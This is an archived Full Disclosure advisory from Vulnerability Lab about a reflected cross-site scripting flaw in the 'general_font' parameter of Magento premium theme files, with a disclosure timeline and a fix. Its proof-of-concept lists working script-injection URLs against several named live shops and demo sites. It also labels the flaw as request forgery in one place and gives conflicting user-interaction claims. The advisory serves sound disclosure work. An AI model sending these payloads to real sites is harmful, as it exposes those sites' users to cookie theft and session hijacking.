Full Disclosure mailing list archives

By Date By Thread Ebay Magento Bug Bounty #17 - Client Side Cross Site Scripting Web Vulnerability From: Vulnerability Lab <research () vulnerability-lab com>

Date: Fri, 19 Jun 2015 15:03:20 +0200

Document Title: =============== Ebay Magento Bug Bounty #17 - Client Side Cross Site Scripting Web Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1473 EIBBP-31541 Release Date: ============= 2015-06-15 Vulnerability Laboratory ID (VL-ID): ==================================== 1473 Common Vulnerability Scoring System: ==================================== 3 Product & Service Introduction: =============================== Magento is an open source e-commerce web application that was launched on March 31, 2008 under the name Bento. It was developed by Varien (now Magento, a division of eBay) with help from the programmers within the open source community but is now owned solely by eBay Inc. Magento was built using parts of the Zend Framework. It uses the entity-attribute-value (EAV) database model to store data. In November 2013, W3Techs estimated that Magento was used by 0.9% of all websites. Our team of security professionals works hard to keep Magento customer information secure. What`s equally important to protecting this data? Our security researchers and user community. If you find a site that isn`t following our policies, or a vulnerability inside our system, please tell us right away. ( Copy of the Vendor Homepage: http://magento.com/security & http://magento.com/security ) Abstract Advisory Information: ============================== The Vulnerability Laboratory Research Team discovered a client-side cross site request forgery web vulnerability in the official Magento Commerce online service web-application. Vulnerability Disclosure Timeline: ================================== 2015-02-20: Researcher Notification & Coordination (Hadji Samir) 2015-02-21: Vendor Notification (Magento Team - Bug Bounty Program) 2015-03-10: Vendor Response/Feedback (Magento Security Team - Bug Bounty Program) 2015-05-12: Vendor Fix/Patch (Magento Developer Team) 2015-06-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Ebay Inc. Product: Magento - Premium Themes 2015 Q1 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ A client-side cross site scripting web vulnerability has been discovered in the official Magento Commerce Premium Theme front-end web-application. The non-persistent xss vulnerability allows remote attackers to inject own script code to the application-side of the vulnerable online-service module. The vulnerability is located in the `general_front` values of the `/css/theme.less.php` front-end template file. Remote attackers are able to inject own script codes to client-side application requests. The attack vector is non persistent and the request method to inject/execute is GET. The vulnerable source is located in the magento premium theme and the stable release. The security risk of the cross site web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.0. Exploitation of the cross site scripting web vulnerability requires no privileged web application user account and no user interaction. Successful exploitation results in client-side account theft by hijacking, client-side phishing, client-side external redirects and non-persistent manipulation of affected or connected service modules. Request Method(s): [+] GET Vulnerable Module(s): [+] css/less Vulnerable File(s): [+] theme.less.php Vulnerable Parameter(s): [+] general_front Proof of Concept (PoC): ======================= The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account and with low user interaction(click). For security demonstration or to reproduce the security vulnerability follow the provided infomation and steps below to continue. Vulnerable Source(s): http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.php?%40variables_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2Ftheme.less%22&%40function_url=%22http%3A%2F%2Fwww.gutzzi.com%2Fskin%2Ffrontend%2Fdefault%2Fem0121%2Fcss%2Fless%2Ffunctions.less%22&%40screen-large-desktop=1200px&%40screen-desktop=992px&%40screen-tablet=768px&%40desktop=%7E%22%28max-width%3A+767px%29%22&%40tablet=%7E%22only+screen+and+%28min-width%3A+720px%29+and+%28max-width%3A+959px%29%22&%40page_bg_color=%23ffffff&%40page_bg_position=%7E%220+0%22&%40page_bg_repeat=repeat&%40box_shadow=%7E%220+0+5px+0+%23c4c4c3%22&%40rounded_corner=0&%40general_font=%7E%22normal+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h1_font=%7E%22normal+22px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h2_font=%7E%22normal+20px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h3_font=%7E%22normal+18px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h4_font=%7E%22normal+16px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h5_font=%7E%22normal+14px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40h6_font=%7E%22normal+12px%2F1.35+Raleway%2Chelvetica%2Carial%2Csans-serif%22&%40header_bg_color=%23ffffff&%40header_bg2_color=%23a4d0d9&%40header_bg3_color=%23ffffff&%40header_bg4_color=%23eff7f8&%40header_bg5_color=%23a4d0d9&%40header_bg_position=%7E%220+0%22&%40header_bg_repeat=repeat&%40header_text_color=%23999999&%40header_text2_color=%23686868&%40header_text4_color=%23ffffff&%40header_text5_color=%23000000&%40header_line_color=%23eaeaea&%40topmenu_text_color=%23999999&%40topmenu_hover_text_color=%23686868&%40topmenu_line_color=%23a4d0d9&%40topmenu_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40dropmenu_bg_color=%23ffffff&%40dropmenu_text_color=%23666666&%40dropmenu_text2_color=%23a4d0d9&%40dropmenu_line_color=%23d3d3d3&%40dropmenu_font=%7E%22normal+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40body_bg_color=%23ffffff&%40body_bg2_color=%23ffffff&%40body_bg3_color=%23ffffff&%40body_bg4_color=%23abd4dc&%40body_bg6_color=%23f6f6f6&%40body_bg_position=%7E%220+0%22&%40body_bg_repeat=repeat&%40body_text_color=%23ffffff&%40body_text2_color=%23666666&%40body_text3_color=%23686868&%40body_text4_color=%23999999&%40body_text5_color=%23abd4dc&%40body_text6_color=%23ff8401&%40body_line_color=%23d1d1d1&%40body_line2_color=%23eaeaea&%40body_line3_color=%23abd4dc&%40title_font=%7E%22500+15px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40footer_bg_color=%23ffffff&%40footer_bg2_color=%23a4d0d9&%40footer_bg3_color=%23999999&%40footer_bg4_color=%23f2f2f2&%40footer_bg_position=%7E%220+0%22&%40footer_bg_repeat=repeat&%40footer_text_color=%23666666&%40footer_text2_color=%23000000&%40footer_text3_color=%23a4d0d9&%40footer_text4_color=%23999999&%40footer_text5_color=%23ffffff&%40footer_line_color=%23d9d9d9&%40btn1_bg_color=%23a4d0d9&%40btn1_text_color=%23ffffff&%40btn1_line_color=%23a4d0d9&%40btn1_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40btn2_bg_color=%23686868&%40btn2_text_color=%23ffffff&%40btn2_line_color=%23686868&%40btn2_font=%7E%22500+13px%2F1.35+Raleway%2CArial%2CHelvetica%2Csans-serif%22&%40image_bg_url=%7E%22http%3A%2F%2Fwww.gutzzi.com%2F%22&%40page_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40header_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40body_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22&%40footer_bg_image=%7E%22skin%2Ffrontend%2Fdefault%2Fem0121%2Fimages%2Fstripes%2Fblank.gif%22" PoC(s): http://www.ediwear.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://saadelectronics.com/skin/frontend/default/galatitanshop/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://saadeperfumes.com/skin/frontend/default/galatitanshop/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E www.diamantiegemme.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=<script>alert(document.cookie)</script> http://www.gutzzi.com/skin/frontend/default/em0121/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28%27samir%27%29%3C/script%3E http://www.emthemes.com/premium-magento-themes.html http://www.emthemes.com/demo/#em0116 http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://demo.emthemes.com/ticker/skin/frontend/default/em0116/css/less/theme.less.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://demo.emthemes.com/megamart/skin/frontend/default/em0119/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://demo.emthemes.com/markpro/skin/frontend/default/em0089/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://www.emthemes.com/premium-magento-themes.html http://demo.emthemes.com/superstore/skin/frontend/default/em0096/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E http://demo.emthemes.com/gala-shopmore/skin/frontend/default/galashopmore/css/theme.css.php?general_font=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E Solution - Fix & Patch: ======================= Restrict the input of the general_font value by disallowing the usage of special chars. Encode and parse the vulnerable file parameters to prevent client-side script code injection attacks. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerability in the frontend is estimated as medium. (CVSS 3.0) Credits & Authors: ================== Vulnerability Laboratory [Research Team] - Hadji Samir [s-dz () hotmail fr] Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin () vulnerability-lab com - research () vulnerability-lab com - admin () evolution-sec com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin () vulnerability-lab com or research () vulnerability-lab com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research () vulnerability-lab com PGP KEY: http://www.vulnerability-lab.com/keys/admin () vulnerability-lab com%280x198E9928%29.txt _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: Ebay Magento Bug Bounty #17 - Client Side Cross Site Scripting Web Vulnerability Vulnerability Lab (Jun 19)